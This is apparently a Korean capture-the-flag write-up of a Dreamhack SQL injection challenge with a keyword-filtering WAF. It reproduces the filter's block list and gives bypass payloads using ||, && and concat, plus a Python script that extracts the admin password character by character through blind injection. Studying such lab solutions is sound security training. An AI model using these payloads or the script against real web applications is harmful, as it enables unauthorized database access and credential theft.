1. 문제
https://dreamhack.io/wargame/challenges/416
sql injection bypass WAF Advanced
Description Exercise: SQL Injection Bypass WAF의 패치된 문제입니다. 문제 수정 내역 2023.07.24 Dockerfile 제공
dreamhack.io
2. 해결 과정
init.sql
admin의 패스워드가 플래그 값이다.
INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
WAF 함수에서 필터링이 존재한다.
union이 막혀있고, select와 from 등 쿼리문으로 쓰일 수 있는 단어들이 필터링된다.
공백과 * / 등 주석처리와 관련된 문자들 또한 막혀있다.
대소문자에 대한 필터링도 적용되어 있다.
이때, AND문이나 OR문에 대한 필터링은 각각 &&과 ||으로 우회할 수 있다는 것을 알고 넘어가자.
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/',
'\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
for keyword in keywords:
if keyword in data.lower():
return True
return False
현재 UNION도 못쓰고 SELECT문도 못쓰는 상황이므로 blind sql 공격을 시도해본다.
admin 우회는 concat함수를 이용해서 우회할 수 있다.
SELECT * FROM user WHERE uid=''||uid=concat('ad','min');
패스워드를 하나씩 알아내기 위해서 substr함수를 사용할 것이다.
SELECT * FROM user WHERE uid=''||uid=concat('ad','min')&&substr(upw,1,1)='D'#';
이걸 반복하여 한글자씩 알아낼 수 있다.
자동화를 위해 아래 코드를 작성하였다.
from requests import get
from bs4 import BeautifulSoup
from urllib.parse import quote
def extract_password_char_by_char(host):
result = "" # 최종 결과를 저장할 문자열
# 가능한 문자 목록 (특수문자 포함)
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-={}[]|\\:;\"'<>,.?/~`"
for position in range(1, 101): # 비밀번호의 길이를 100글자로 가정
for char in chars:
# SQL 인젝션 쿼리 생성
query = f"'||uid=concat('ad','min')&&substr(upw,{position},1)='{char}'#"
encoded_query = quote(query) # 쿼리를 URL 인코딩
# 요청 URL 생성
url = f"{host}?uid={encoded_query}"
response = get(url)
html_content = response.text
soup = BeautifulSoup(html_content, 'html.parser')
# 전체 HTML 내용 추출
html_text = soup.get_text()
if 'admin' in html_text:
result += char
print(f"password: {result}") # 현재까지 알아낸 비밀번호 출력
break
else:
print(f"Failed to find character at position {position}")
break # 문자를 찾지 못한 경우 중단
print(f"final password: {result}") # 최종 비밀번호 출력
return result
# 사용 예
host_url = "http://host3.dreamhack.games:23617/" # 포트 번호와 함께 호스트 주소
password = extract_password_char_by_char(host_url)
대소문자가 구분이 안되어서 나왔지만, DH{로 시작하는 것을 알기 때문에 이 부분만 고쳐서 입력했더니 해결할 수 있었다.
끝